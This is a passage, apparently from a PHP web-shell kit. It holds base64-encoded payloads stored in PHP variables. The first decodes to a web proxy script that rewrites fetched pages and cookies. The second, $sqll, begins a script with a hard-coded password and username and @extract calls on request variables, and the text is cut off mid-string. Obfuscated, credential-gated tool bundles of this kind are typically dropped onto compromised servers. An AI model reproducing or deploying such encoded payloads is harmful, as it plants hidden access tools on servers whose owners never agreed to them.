FuZGdldFtDT09LX1BSRUYuJ191c2VyYWdlbnR0ZXh0J10pOw0KCQlkb3NldGNvb2tpZShDT09LX1BSRUYuJ191c2VyYWdlbnR0ZXh0JyxmYWxzZSwwKTsNCgl9DQoJd2hpbGUobGlzdCgka2V5LCR2YWwpPWVhY2goJHByb3h5X3ZhcmlhYmxlcykpew0KCQlpZighaW5fYXJyYXkoJHZhbCwkcHJveHlfdmFyYmxhY2tsaXN0KSl7DQoJCQlkb3NldGNvb2tpZSgkdmFsLGZhbHNlLDApOw0KCQkJaWYoaXNzZXQoJHBvc3RhbmRnZXRbJHZhbF0pICYmICFlbXB0eSgkcG9zdGFuZGdldFskdmFsXSkpIGRvc2V0Y29va2llKCR2YWwsJHBvc3RhbmRnZXRbJHZhbF0pOw0KCQl9DQoJfQ0KCSR0aGV1cmw9ZnJhbWlmeV91cmwoc3Vycm9nYWZ5X3VybChPUklHX1VSTCksUEFHRVRZUEVfRlJBTUVfVE9QKTsNCgkjJHRoZXVybD1zdXJyb2dhZnlfdXJsKChFTkNSWVBUX1VSTFM/cHJveGRlYygkdGhldXJsKTokdGhldXJsKSxudWxsKTsNCgloZWFkZXIoIkxvY2F0aW9uOiB7JHRoZXVybH0iKTsNCglmaW5pc2goKTsNCn0NCg0KIyB9fX0NCg0KIyBQUk9YWSBFWEVDVVRJT046IFBST1hZIEdFVC9QT1NUL0NPT0tJRVMge3t7DQoNCmRlZmluZSgnUElQJywoRk9SQ0VfREVGQVVMVF9UVU5ORUw/JF9DT09LSUVbQ09PS19QUkVGLidfcGlwJ106REVGQVVMVF9UVU5ORUxfUElQKSk7DQpkZWZpbmUoJ1BQT1JUJyxpbnR2YWwoRk9SQ0VfREVGQVVMVF9UVU5ORUw/JF9DT09LSUVbQ09PS19QUkVGLidfcHBvcnQnXTpERUZBVUxUX1RVTk5FTF9QUE9SVCkpOw0KDQpkZWZpbmUoJ0VOQ1JZUFRfQ09PS1MnLGdldGhhcmRhdHRyKCdlbmNyeXB0X2Nvb2tzJykpOw0KDQpnbG9iYWwgJHJlZmVyZXI7DQppZigkX1NFUlZFUlsnSFRUUF9SRUZFUkVSJ109PW51bGwpew0KCSRyZWZ1cmxvYmo9bmV3IGF1cmwoJF9TRVJWRVJbJ0hUVFBfUkVGRVJFUiddKTsNCgkkcmVmZXJlcj1wcm94ZGVjKHByZWdfcmVwbGFjZSgnL15bXHNcU10qJy5DT09LX1BSRUYuJz0oW14mXSopW1xzXFNdKiQvaScsJ1wxJywkcmVmdXJsb2JqLT5nZXRfcGF0aCgpKSk7ICMqDQp9DQplbHNlICRyZWZlcmVyPW51bGw7DQoNCiMkZ2V0a2V5cz1hcnJheV9rZXlzKCRfR0VUKTsNCiNmb3JlYWNoKCRnZXRrZXlzIGFzICRnZXR2YXIpeyBpZighaW5fYXJyYXkoJGdldHZhciwkcHJveHlfdmFyaWFibGVzKSl7ICRjdXJyX3VybC49KHN0cnBvcygkY3Vycl91cmwsJz8nKT09PWZhbHNlPyc/JzonJicpLiIkZ2V0dmFyPSIudXJsZW5jb2RlKCRfR0VUWyRnZXR2YXJdKTsgfSB9DQoNCmdsb2JhbCAkcG9zdF92YXJzOw0KJHBvc3RfdmFycz1udWxsOw0KJHBvc3RrZXlzPWFycmF5X2tleXMoJF9QT1NUKTsNCmZvcmVhY2goJHBvc3RrZXlzIGFzICRwb3N0a2V5KXsNCglpZighaW5fYXJyYXkoJHBvc3RrZXksJHByb3h5X3ZhcmlhYmxlcykpew0KCQlpZighaXNfYXJyYXkoJF9QT1NUWyRwb3N0a2V5XSkpDQoJCQkkcG9zdF92YXJzLj0oJHBvc3RfdmFycyE9bnVsbD8nJic6bnVsbCkuaHR0cGNsZWFuKCRwb3N0a2V5KS4nPScuaHR0cGNsZWFuKCRfUE9TVFskcG9zdGtleV0pOw0KCQllbHNlew0KCQkJZm9yZWFjaCgkX1BPU1RbJHBvc3RrZXldIGFzICRwb3N0dmFsKQ0KCQkJCSRwb3N0X3ZhcnMuPSgkcG9zdF92YXJzIT1udWxsPycmJzpudWxsKS5odHRwY2xlYW4oJHBvc3RrZXkpLiclNUIlNUQ9Jy5odHRwY2xlYW4oJHBvc3R2YWwpOw0KCQl9DQoJfQ0KfQ0KdW5zZXQoJHBvc3RrZXlzKTsNCg0KIyB9fX0NCg0KIyBQUk9YWSBFWEVDVVRJT046IEROUyBDQUNIRSB7e3sNCg0KaWYoIWlzc2V0KCRfU0VTU0lPTlsnRE5TX0NBQ0hFX0FSUkFZJ10pKSAkZG5zX2NhY2hlX2FycmF5PWFycmF5KCk7DQplbHNlICRkbnNfY2FjaGVfYXJyYXk9JF9TRVNTSU9OWydETlNfQ0FDSEVfQVJSQVknXTsNCg0KIyBwdXJnZSBvbGQgcmVjb3JkcyBmcm9tIEROUyBjYWNoZQ0Kd2hpbGUobGlzdCgka2V5LCRlbnRyeSk9ZWFjaCgkZG5zX2NhY2hlX2FycmF5KSl7DQoJaWYoJGVudHJ5Wyd0aW1lJ108dGltZSgpLShETlNfQ0FDSEVfRVhQSVJFKjYwKSkgdW5zZXQoJGRuc19jYWNoZV9hcnJheVska2V5XSk7DQp9DQoNCiMgfX19DQoNCiMgUFJPWFkgRVhFQ1VUSU9OOiBQQUdFIFJFVFJJRVZBTCB7e3sNCg0KJHBhZ2VzdHVmZj1nZXRwYWdlKCRjdXJyX3VybCk7DQokYm9keT0kcGFnZXN0dWZmWzBdOw0KDQokdGJvZHk9dHJpbSgkYm9keSk7DQppZigoJHRib2R5ezB9PT0nIicgJiYgc3Vic3RyKCR0Ym9keSwtMSk9PSciJykgfHwgKCR0Ym9keXswfT09J1wnJyAmJiBzdWJzdHIoJHRib2R5LC0xKT09J1wnJykpew0KCWVjaG8gJGJvZHk7DQoJZmluaXNoKCk7DQp9DQp1bnNldCgkdGJvZHkpOw0KDQokY3Vycl91cmw9JHBhZ2VzdHVmZlsxXTsNCmRlZmluZSgnUEFHRUNPT0tfUFJFRklYJywkcGFnZXN0dWZmWzJdKTsNCnVuc2V0KCRwYWdlc3R1ZmYpOw0KZGVmaW5lKCdDT05URU5UX1RZUEUnLHByZWdfcmVwbGFjZSgnL14oW2EtejAtOVwtXC9dKykuKiQvaScsJ1wxJywkaGVhZGVyc1snY29udGVudC10eXBlJ11bMF0pKTsgIyoNCg0KIyB9fX0NCg0KIyBQUk9YWSBFWEVDVVRJT046IFBBR0UgUEFSU0lORyB7e3sNCg0KaWYoc3RycG9zKCRib2R5LCc8YmFzZScpKXsNCgkkYmFzZT1wcmVnX3JlcGxhY2UoJy9eLionLkJBU0VfUkVHRVhQLicuKiQvaXMnLCdcMScsJGJvZHkpOw0KCWlmKCFlbXB0eSgkYmFzZSkgJiYgJGJhc2UhPSRib2R5ICYmICFlbXB0eSgkYmFzZXsxMDB9KSl7DQoJCSRib2R5PXByZWdfcmVwbGFjZSgnLycuQkFTRV9SRUdFWFAuJy9pJyxudWxsLCRib2R5KTsNCg0KCQkvL3ByZWdfbWF0Y2goJy9eKFsiXCddKS4qXDEkL2knLCRiYXNlKT4wDQoJCWlmKCgkYmFzZXswfT09JyInICYmIHN1YnN0cigkYmFzZSwtMSk9PSciJykgfHwgKCRiYXNlezB9PT0nXCcnICYmIHN1YnN0cigkYmFzZSwtMSk9PSdcJycpKQ0KCQkJJGJhc2U9c3Vic3RyKCRiYXNlLDEsc3RybGVuKCRiYXNlKS0yKTsgIyoNCgkJJGN1cnJfdXJsPSRiYXNlOw0KCX0NCgl1bnNldCgkYmFzZSk7DQp9DQoNCmdsb2JhbCAkY3Vycl91cmxvYmo7DQokY3Vycl91cmxvYmo9bmV3IGF1cmwoJGN1cnJfdXJsKTsNCg0KIyBQUk9YWSBFWEVDVVRJT046IFBBR0UgUEFSU0lORzogUEFSU0lORyBGVU5DVElPTlMge3t7DQoNCmZ1bmN0aW9uIHBhcnNlX2h0bWwoJHJlZ2V4cCwkcGFydG9wYXJzZSwkaHRtbCwkYWRkcHJveHksJGZyYW1pZnkpew0KCWdsb2JhbCAkY3Vycl91cmxvYmo7DQoJJG5ld2h0bWw9bnVsbDsNCgl3aGlsZShwcmVnX21hdGNoKCRyZWdleHAsJGh0bWwsJG1hdGNoYXJyLFBSRUdfT0ZGU0VUX0NBUFRVUkUpKXsNCgkJJG51cmw9c3Vycm9nYWZ5X3VybCgkbWF0Y2hhcnJbJHBhcnRvcGFyc2VdWzBdLCRjdXJyX3VybG9iaiwkYWRkcHJveHkpOw0KCQlpZigkZnJhbWlmeSkgJG51cmw9ZnJhbWlmeV91cmwoJG51cmwsJGZyYW1pZnkpOw0KCQkkYmVnaW49JG1hdGNoYXJyWyRwYXJ0b3BhcnNlXVsxXTsNCgkJJGVuZD0kbWF0Y2hhcnJbJHBhcnRvcGFyc2VdWzFdK3N0cmxlbigkbWF0Y2hhcnJbJHBhcnRvcGFyc2VdWzBdKTsNCgkJJG5ld2h0bWwuPXN1YnN0cl9yZXBsYWNlKCRodG1sLCRudXJsLCRiZWdpbik7DQoJCSRodG1sPXN1YnN0cigkaHRtbCwkZW5kLHN0cmxlbigkaHRtbCktJGVuZCk7DQoJfQ0KCSRuZXdodG1sLj0kaHRtbDsNCglyZXR1cm4gJG5ld2h0bWw7DQp9DQoNCmZ1bmN0aW9uIHJlZ3VsYXJfZXhwcmVzcygkcmVnZXhwX2FycmF5LCR0aGV2YXIpew0KCSMkcmVnZXhwX2FycmF5WzJdLj0nUyc7ICMgaW4gYmVuY2htYXJrcywgdGhpcyAnb3B0aW1pemF0aW9uJyBhcHBlYXJlZCB0byBub3QgZG8gYW55dGhpbmcgYXQgYWxsLCBvciBwb3NzaWJseSBldmVuIHNsb3cgdGhpbmdzIGRvd24NCglpZigkcmVnZXhwX2FycmF5WzBdPT0xKSAkbmV3dmFyPXByZWdfcmVwbGFjZSgkcmVnZXhwX2FycmF5WzJdLCRyZWdleHBfYXJyYXlbM10sJHRoZXZhcik7DQoJZWxzZWlmKCRyZWdleHBfYXJyYXlbMF09PTIpew0KCQkkYWRkcHJveHk9KGlzc2V0KCRyZWdleHBfYXJyYXlbNF0pPyRyZWdleHBfYXJyYXlbNF06dHJ1ZSk7DQoJCSRmcmFtaWZ5PShpc3NldCgkcmVnZXhwX2FycmF5WzVdKT8kcmVnZXhwX2FycmF5WzVdOmZhbHNlKTsNCgkJJG5ld3Zhcj1wYXJzZV9odG1sKCRyZWdleHBfYXJyYXlbMl0sJHJlZ2V4cF9hcnJheVszXSwkdGhldmFyLCRhZGRwcm94eSwkZnJhbWlmeSk7DQoJfQ0KCXJldHVybiAkbmV3dmFyOw0KfQ0KDQpmdW5jdGlvbiBwYXJzZV9hbGxfaHRtbCgkaHRtbCl7DQoJZ2xvYmFsICRyZWdleHBfYXJyYXlzOw0KDQoJaWYoQ09OVEVOVF9UWVBFIT0ndGV4dC9odG1sJyl7DQoJCWZvcihyZXNldCgkcmVnZXhwX2FycmF5cyk7bGlzdCgka2V5LCRhcnIpPWVhY2goJHJlZ2V4cF9hcnJheXMpOyl7DQoJCQlpZigka2V5PT1DT05URU5UX1RZUEUpew0KCQkJCWZvcmVhY2goJGFyciBhcyAkcmVnYXJyKXsNCgkJCQkJaWYoJHJlZ2Fycj09bnVsbCkgY29udGludWU7DQoJCQkJCSRodG1sPXJlZ3VsYXJfZXhwcmVzcygkcmVnYXJyLCRodG1sKTsNCgkJCQl9DQoJCQl9DQoJCX0NCgkJcmV0dXJuICRodG1sOw0KCX0NCg0KCSNpZighZW1wdHkoJF9DT09LSUVbQ09PS19QUkVGLidfcmVtb3ZlX3NjcmlwdHMnXSkpICRzcGxpdGFycj1hcnJheSgkaHRtbCk7DQoJJHNwbGl0YXJyPXByZWdfc3BsaXQoJy8oPCEtLSg/IVxbaWYpLio/LS0+fDxzdHlsZS4qPzxcL3N0eWxlPnw8c2NyaXB0Lio/PFwvc2NyaXB0PikvaXMnLCRodG1sLC0xLFBSRUdfU1BMSVRfREVMSU1fQ0FQVFVSRSk7DQoJdW5zZXQoJGh0bWwpOw0KDQoJLy9kZWZpbmUoJ1JFR0VYUF9TQ1JJUFRfT05FVkVOVCcsJyggb25bYS16XXszLDIwfT0oPzoiKD86W14iXSspInxcJyg/OlteXCddKylcJ3xbXiJcJyA+XVteID5dK1teIlwnID5dKSknKTsNCgkkZmlyc3RydW49dHJ1ZTsNCgkkZmlyc3Rqc3J1bj10cnVlOw0KCWZvcihyZXNldCgkcmVnZXhwX2FycmF5cyk7bGlzdCgka2V5LCRhcnIpPWVhY2goJHJlZ2V4cF9hcnJheXMpOyl7DQoJCWlmKCRrZXk9PSd0ZXh0L2phdmFzY3JpcHQnKSBjb250aW51ZTsNCg0KCQkvLyBPUFRJT04xOiB1c2UgT05MWSBpZiBubyBKYXZhc2NyaXB0IFJFR0VYUFMgYWZmZWN0IEhUTUwgc2VjdGlvbnMNCgkJLy8gYW5kIGFsbCBIVE1MIG1vZGlmeWluZyBKYXZhc2NyaXB0IFJFR0VYUFMgYXJlIHBlcmZvcm1lZCBhZnRlciBIVE1MIHJlZ2V4cHMNCgkJLy8gVGhpcyBnaXZlcyBhIHByZXR0eSBzaWduaWZpY2FudCBzcGVlZCBib29zdA0KCQkvLyBJZiB1c2VkLCBtYWtlIHN1cmUgIk9QVElPTjIiIGxpbmVzIGFyZSBjb21tZW50ZWQsIGFuZCBvdGhlciAiT1BUSU9OMSIgbGluZXMgQVJFTidUDQoJCWlmKCRmaXJzdGpzcnVuICYmICRrZXk9PSdhcHBsaWNhdGlvbi94LWphdmFzY3JpcHQnKXsNCgkJCWlmKCFlbXB0eSgkX0NPT0tJRVtDT09LX1BSRUYuJ19yZW1vdmVfc2NyaXB0cyddKSkgYnJlYWs7DQoJCQkkc3BsaXRhcnIyPWFycmF5KCk7DQoJCQlmb3IoJGk9MDskaTxjb3VudCgkc3BsaXRhcnIpOyRpKz0yKXsNCgkJCQkkc3BsaXRhcnIyWyRpXT1wcmVnX3NwbGl0KCcvJy5SRUdFWFBfU0NSSVBUX09ORVZFTlQuJy9pcycsJHNwbGl0YXJyWyRpXSwtMSxQUkVHX1NQTElUX0RFTElNX0NBUFRVUkUpOw0KCQkJfQ0KCQl9DQoJCS8vIEVORCBPUFRJT04xDQoNCgkJIyBmaXJzdHJ1biByZW1vdmUgc2NyaXB0czogb248ZXZlbnQ+cyBhbmQgbm9zY3JpcHQgdGFnczsgYWxzbyByZW1vdmUgb2JqZWN0cw0KCQlpZigkZmlyc3RydW4gJiYgKCFlbXB0eSgkX0NPT0tJRVtDT09LX1BSRUYuJ19yZW1vdmVfc2NyaXB0cyddKSB8fCAhZW1wdHkoJF9DT09LSUVbQ09PS19QUkVGLidfcmVtb3ZlX29iamVjdHMnXSkpKXsNCgkJCWZvcigkaT0wOyRpPGNvdW50KCRzcGxpdGFycik7JGkrPTIpew0KCQkJCWlmKCFlbXB0eSgkX0NPT0tJRVtDT09LX1BSRUYuJ19yZW1vdmVfc2NyaXB0cyddKSkNCgkJCQkJJHNwbGl0YXJyWyRpXT1wcmVnX3JlcGxhY2UoJy8oPzonLlJFR0VYUF9TQ1JJUFRfT05FVkVOVC4nfDwuP25vc2NyaXB0PikvaXMnLG51bGwsJHNwbGl0YXJyWyRpXSk7DQoJCQkJaWYoIWVtcHR5KCRfQ09PS0lFW0NPT0tfUFJFRi4nX3JlbW92ZV9vYmplY3RzJ10pKQ0KCQkJCQkkc3BsaXRhcnJbJGldPXByZWdfcmVwbGFjZSgnLzwoZW1iZWR8b2JqZWN0KS4qPzxcL1wxPi9pcycsbnVsbCwkc3BsaXRhcnJbJGldKTsNCgkJCX0NCgkJfQ0KDQoJCWZvcmVhY2goJGFyciBhcyAkcmVnZXhwX2FycmF5KXsNCgkJCWlmKCRyZWdleHBfYXJyYXk9PW51bGwpIGNvbnRpbnVlOw0KCQkJZm9yKCRpPTA7JGk8Y291bnQoJHNwbGl0YXJyKTskaSsrKXsNCg0KCQkJCSMgcGFyc2Ugc2NyaXB0cyBmb3Igb248ZXZlbnQ+cw0KCQkJCWlmKCRpJTI9PTAgJiYgaXNzZXQoJHNwbGl0YXJyMikgJiYgJHJlZ2V4cF9hcnJheVsxXT09Mil7IC8vIE9QVElPTjENCg0KCQkJCS8vIE9QVElPTjINCgkJCQkvL2lmKCRyZWdleHBfYXJyYXlbMV09PTIgJiYgJGklMj09MCl7IC8vIE9QVElPTjINCgkJCQkJLy8kc3BsaXRhcnIyWyRpXT1wcmVnX3NwbGl0KCcvKCBvblthLXpdezMsMjB9PSg/OiIoPzpbXiJdKykifFwnKD86W15cJ10rKVwnfFteIlwnID5dW14gPl0rW14iXCcgPl0pKS9pcycsJHNwbGl0YXJyWyRpXSwtMSxQUkVHX1NQTElUX0RFTElNX0NBUFRVUkUpOw0KCQkJCQkvLyBFTkQgT1BUSU9OMg0KDQoJCQkJCS8vaWYoY291bnQoJHNwbGl0YXJyMlskaV0pPDIpICRzcGxpdGFyclskaV09cmVndWxhcl9leHByZXNzKCRyZWdleHBfYXJyYXksJHNwbGl0YXJyWyRpXSk7IC8vIFVOUkVMQVRFRCBUTyBPUFRJT05TDQoJCQkJCWlmKGNvdW50KCRzcGxpdGFycjJbJGldKT4xKXsNCgkJCQkJCWZvcigkaj0xOyRqPGNvdW50KCRzcGxpdGFycjJbJGldKTskais9Mil7DQoJCQkJCQkJJGJlZ2luPXByZWdfcmVwbGFjZSgnL14oW149XSs9LikuKiQvaScsJ1wxJywkc3BsaXRhcnIyWyRpXVskal0pOw0KCQkJCQkJCSRxdW90ZT1zdWJzdHIoJGJlZ2luLC0xKTsNCgkJCQkJCQlpZigkcXVvdGUhPSciJyAmJiAkcXVvdGUhPSdcJycpew0KCQkJCQkJCQkkcXVvdGU9bnVsbDsNCgkJCQkJCQkJJGJlZ2luPXN1YnN0cigkYmVnaW4sMCwtMSk7DQoJCQkJCQkJfQ0KCQkJCQkJCSRjb2RlPXByZWdfcmVwbGFjZSgnL15bXj1dKz0nLigkcXVvdGU9PW51bGw/JyguKikkL2knOicuKC4qKS4kL2knKSwnXDEnLCRzcGxpdGFycjJbJGldWyRqXSk7DQoJCQkJCQkJaWYoc3Vic3RyKCRjb2RlLDAsMTEpPT0namF2YXNjcmlwdDonKXsNCgkJCQkJCQkJJGJlZ2luLj0namF2YXNjcmlwdDonOw0KCQkJCQkJCQkkY29kZT1zdWJzdHIoJGNvZGUsMTEpOw0KCQkJCQkJCX0NCgkJCQkJCQlpZigkZmlyc3Rqc3J1bikgJGNvZGU9Ijt7JGNvZGV9OyI7DQoJCQkJCQkJJHNwbGl0YXJyMlskaV1bJGpdPSRiZWdpbi5yZWd1bGFyX2V4cHJlc3MoJHJlZ2V4cF9hcnJheSwkY29kZSkuJHF1b3RlOw0KCQkJCQkJfQ0KCQkJCQkJLy8kc3BsaXRhcnJbJGldPWltcGxvZGUobnVsbCwkc3BsaXRhcnIyWyRpXSk7IC8vIE9QVElPTjINCgkJCQkJfQ0KCQkJCX0NCg0KCQkJCSMgcmVtb3ZlIHNjcmlwdHMNCgkJCQllbHNlaWYoJGZpcnN0cnVuICYmICFlbXB0eSgkX0NPT0tJRVtDT09LX1BSRUYuJ19yZW1vdmVfc2NyaXB0cyddKSAmJiBzdHJ0b2xvd2VyKHN1YnN0cigkc3BsaXRhcnJbJGldLDAsNykpPT0nPHNjcmlwdCcpDQoJCQkJCSRzcGxpdGFyclskaV09bnVsbDsNCg0KCQkJCSMgcGFyc2UgdmFsaWQgc3R1ZmYNCgkJCQllbHNlaWYoKCRpJTI9PTAgJiYgJHJlZ2V4cF9hcnJheVsxXT09MSkgfHwgKCRyZWdleHBfYXJyYXlbMV09PTIgJiYgc3RydG9sb3dlcihzdWJzdHIoJHNwbGl0YXJyWyRpXSwwLDcpKT09JzxzY3JpcHQnKSB8fCAoJGtleT09J3RleHQvY3NzJyAmJiBzdHJ0b2xvd2VyKHN1YnN0cigkc3BsaXRhcnJbJGldLDAsNikpPT0nPHN0eWxlJykpew0KCQkJCQkkc3BsaXRhcnJbJGldPXJlZ3VsYXJfZXhwcmVzcygkcmVnZXhwX2FycmF5LCRzcGxpdGFyclskaV0pOw0KCQkJCX0NCg0KCQkJCSMgc2NyaXB0IHB1cmdlIGNsZWFudXANCgkJCQlpZigkZmlyc3RydW4gJiYgZW1wdHkoJF9DT09LSUVbQ09PS19QUkVGLidfcmVtb3ZlX3NjcmlwdHMnXSkgJiYgc3RydG9sb3dlcihzdWJzdHIoJHNwbGl0YXJyWyRpXSwtOSkpPT0nPC9zY3JpcHQ+JyAmJiAhcHJlZ19tYXRjaCgnL15bXj5dKnNyYy9pJywkc3BsaXRhcnJbJGldKSl7DQoJCQkJCSRzcGxpdGFyclskaV09cHJlZ19yZXBsYWNlKCcvJy5FTkRfT0ZfU0NSSVBUX1RBRy4nJC9pJywnOycuQ09PS19QUkVGLicucHVyZ2UoKTsvLy0tPjwvc2NyaXB0PicsJHNwbGl0YXJyWyRpXSk7DQoJCQkJfQ0KDQoJCQl9DQoNCgkJCSRmaXJzdHJ1bj1mYWxzZTsNCgkJCWlmKCRmaXJzdGpzcnVuICYmICRrZXk9PSdhcHBsaWNhdGlvbi94LWphdmFzY3JpcHQnKQ0KCQkJCSRmaXJzdGpzcnVuPWZhbHNlOw0KCQl9DQoJfQ0KDQoJLy8gT1BUSU9OMQ0KDQoJaWYoZW1wdHkoJF9DT09LSUVbQ09PS19QUkVGLidfcmVtb3ZlX3NjcmlwdHMnXSkpew0KCQlmb3IoJGk9MDskaTxjb3VudCgkc3BsaXRhcnIpOyRpKz0yKXsNCgkJCSRzcGxpdGFyclskaV09aW1wbG9kZShudWxsLCRzcGxpdGFycjJbJGldKTsNCgkJfQ0KCX0NCgkvLyBFTkQgT1BUSU9OMQ0KDQoJcmV0dXJuIGltcGxvZGUobnVsbCwkc3BsaXRhcnIpOw0KfQ0KDQojIH19fQ0KDQovLyRzdGFydHRpbWU9bWljcm90aW1lKHRydWUpOyAjIEJFTkNITUFSSw0KJGJvZHk9cGFyc2VfYWxsX2h0bWwoJGJvZHkpOw0KLy8kcGFyc2V0aW1lPW1pY3JvdGltZSh0cnVlKS0kc3RhcnR0aW1lOyAjIEJFTkNITUFSSw0KDQojIFBST1hZIEVYRUNVVElPTjogUEFHRSBQQVJTSU5HOiBQUk9YWSBIRUFERVJTL0pBVkFTQ1JJUFQge3t7DQoNCmlmKENPTlRFTlRfVFlQRT09J3RleHQvaHRtbCcpew0KCSRiaWdfaGVhZGVycz0nPG1ldGEgbmFtZT0icm9ib3RzIiBjb250ZW50PSJub2luZGV4LCBub2ZvbGxvdyIgLz4nLg0KCQkJKFBBR0VUWVBFX0lEPT09UEFHRVRZUEVfRlJBTUVEX1BBR0U/JzxiYXNlIHRhcmdldD0iX3RvcCI+JzpudWxsKS4NCgkJCSc8bGluayByZWw9InNob3J0Y3V0IGljb24iIGhyZWY9Iicuc3Vycm9nYWZ5X3VybCgkY3Vycl91cmxvYmotPmdldF9wcm90bygpLic6Ly8nLiRjdXJyX3VybG9iai0+Z2V0X3NlcnZlcm5hbWUoKS4nL2Zhdmljb24uaWNvJykuJyIgLz4nLg0KCQkJKGVtcHR5KCRfQ09PS0lFW0NPT0tfUFJFRi4nX3JlbW92ZV9zY3JpcHRzJ10pPw0KCQkJCSc8c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCIgc3JjPSInLlRISVNfU0NSSVBULic/anNfZnVuY3MnLihQQUdFX0ZSQU1FRD8nX2ZyYW1lZCc6bnVsbCkuJyI+PC9zY3JpcHQ+Jy4NCgkJCQknPHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiIHNyYz0iJy5USElTX1NDUklQVC4nP2pzX3JlZ2V4cHMnLihQQUdFX0ZSQU1FRD8nX2ZyYW1lZCc6bnVsbCkuJyI+PC9zY3JpcHQ+Jy4NCgkJCQknPHNjcmlwdCBsYW5ndWFnZT0iamF2YXNjcmlwdCI+Jy4NCgkJCQkvLyc8IS0tJy4NCgkJCQlDT09LX1BSRUYuJy5ET0NVTUVOVF9SRUZFUkVSPSInLihVUkxfRk9STT9zdHJfcmVwbGFjZSgnIicsJ1xcIicsJHJlZmVyZXIpOm51bGwpLiciOycuDQoJCQkJQ09PS19QUkVGLicuQ1VSUl9VUkw9Iicuc3RyX3JlcGxhY2UoJyInLCdcXCInLCRjdXJyX3VybG9iai0+Z2V0X3VybCgpKS4nIitsb2NhdGlvbi5oYXNoOycuQ09PS19QUkVGLicuZ2VuX2N1cnJfdXJsb2JqKCk7Jy4NCgkJCQlDT09LX1BSRUYuJy5MT0NBVElPTl9TRUFSQ0g9IicuKCRjdXJyX3VybG9iai0+Z2V0X3F1ZXJ5KCkhPW51bGw/Jz8nLnN0cl9yZXBsYWNlKCciJywnXFwiJywkY3Vycl91cmxvYmotPmdldF9xdWVyeSgpKTpudWxsKS4nIjsnLg0KCQkJCUNPT0tfUFJFRi4nLkxPQ0FUSU9OX0hPU1ROQU1FPSInLnN0cl9yZXBsYWNlKCciJywnXFwiJywkY3Vycl91cmxvYmotPmdldF9zZXJ2ZXJuYW1lKCkpLiciOycuDQoJCQkJQ09PS19QUkVGLicuTE9DQVRJT05fUE9SVD0iJy5zdHJfcmVwbGFjZSgnIicsJ1xcIicsJGN1cnJfdXJsb2JqLT5nZXRfcG9ydHZhbCgpKS4nIjsnLg0KCQkJCUNPT0tfUFJFRi4nLkVOQ1JZUFRfVVJMUz0nLmJvb2xfdG9fanMoRU5DUllQVF9VUkxTKS4nOycuDQoJCQkJQ09PS19QUkVGLicuRU5DUllQVF9DT09LUz0nLmJvb2xfdG9fanMoRU5DUllQVF9DT09LUykuJzsnLg0KCQkJCUNPT0tfUFJFRi4nLlVSTF9GT1JNPScuYm9vbF90b19qcyhVUkxfRk9STSkuJzsnLg0KCQkJCUNPT0tfUFJFRi4nLlBBR0VfRlJBTUVEPScuYm9vbF90b19qcyhQQUdFX0ZSQU1FRCkuJzsnLg0KCQkJCUNPT0tfUFJFRi4iLlVTRVJBR0VOVD1cInskdXNlcmFnZW50fVwiOyIuDQoJCQkJKFVSTF9GT1JNICYmIFBBR0VUWVBFX0lEPT1QQUdFVFlQRV9GUkFNRURfUEFHRT8naWYoJy5DT09LX1BSRUYuJy50aGVwYXJlbnQ9PScuQ09PS19QUkVGLicudGhldG9wKSAnLg0KCQkJCQlDT09LX1BSRUYuJy5ldmVudGlmeSgiJy4kY3Vycl91cmxvYmotPmdldF9wcm90bygpLiciLCInLiRjdXJyX3VybG9iai0+Z2V0X3NlcnZlcm5hbWUoKS4nIik7Jw0KCQkJCTpudWxsKS4NCgkJCQkvLycvLy0tPicuDQoJCQkJJzwvc2NyaXB0PicNCgkJCTpudWxsKQ0KCTsNCg0KCSRib2R5PXByZWdfcmVwbGFjZSgnLyg/Oig8KD86aGVhZHxib2R5KVtePl0qPil8KDwoPzpcL2hlYWR8bWV0YXxsaW5rfHNjcmlwdCkpKS9pJywiXFwxJGJpZ19oZWFkZXJzXFwyIiwkYm9keSwxKTsNCgl1bnNldCgkYmlnX2hlYWRlcnMpOw0KfQ0KZWxzZWlmKENPTlRFTlRfVFlQRT09J2FwcGxpY2F0aW9uL3gtamF2YXNjcmlwdCcgfHwgQ09OVEVOVF9UWVBFPT0ndGV4dC9qYXZhc2NyaXB0JykgJGJvZHkuPSc7Jy5DT09LX1BSRUYuJy5wdXJnZSgpOyc7DQoNCiMgfX19DQoNCiMgfX19DQoNCiMjIFJldHJpZXZlZCwgUGFyc2VkLCBBbGwgUmVhZHkgdG8gT3V0cHV0ICMjDQplY2hvICRib2R5Ow0KLy9lY2hvICd0b3RhbCB0aW1lOiAnLihtaWNyb3RpbWUodHJ1ZSktJHRvdHN0YXJ0dGltZSkuIjxiciAvPnBhcnNlIHRpbWU6IHskcGFyc2V0aW1lfSBzZWNvbmRzIi4oaXNzZXQoJG9wYXJzZXRpbWUpPyI8YnIgLz5vdGhlciB0aW1lIDE6IHskb3BhcnNldGltZX0gc2Vjb25kcyI6bnVsbCkuKGlzc2V0KCRvcGFyc2V0aW1lMik/IjxiciAvPm90aGVyIHRpbWUgMjogeyRvcGFyc2V0aW1lMn0gc2Vjb25kcyI6bnVsbCk7ICMgQkVOQ0hNQVJLDQoNCiMgfX19DQoNCmZpbmlzaCgpOw0KDQojIyMjIyMjIyMjIyMNCiMjIFRIRSBFTkQgIyMNCiMjIyMjIyMjIyMjIyMjDQojDQojIFZJTSBpcyB0aGUgaWRlYWwgd2F5IHRvIGVkaXQgdGhpcyBmaWxlLiAgQXV0b21hdGljIGZvbGRpbmcgb2NjdXJzIG1ha2luZyB0aGUNCiMgYmxvY2tzIG9mIGNvZGUgZWFzaWVyIHRvIHJlYWQgYW5kIG5hdmlnYXRlDQojIHZpbTpmb2xkbWV0aG9kPW1hcmtlcg0KIw0KIyMjIyMjIyMjIyMjIyMjIyMjID8+DQo=";
$sqll="PD8KJFBBU1NXT1JEID0gImthbGEiOwokVVNFUk5BTUUgPSAiMTIzIjsKCmlmICggZnVuY3Rpb25f
ZXhpc3RzKCdpbmlfZ2V0JykgKSB7Cgkkb25vZmYgPSBpbmlfZ2V0KCdyZWdpc3Rlcl9nbG9iYWxz
Jyk7Cn0gZWxzZSB7Cgkkb25vZmYgPSBnZXRfY2ZnX3ZhcigncmVnaXN0ZXJfZ2xvYmFscycpOwp9
CmlmICgkb25vZmYgIT0gMSkgewoJQGV4dHJhY3QoJEhUVFBfU0VSVkVSX1ZBUlMsIEVYVFJfU0tJ
UCk7CglAZXh0cmFjdCgkSFRUUF9DT09LSUVfVkFSUywgRVhUUl9TS0lQKTsKCUBleHRyYWN0KCRI
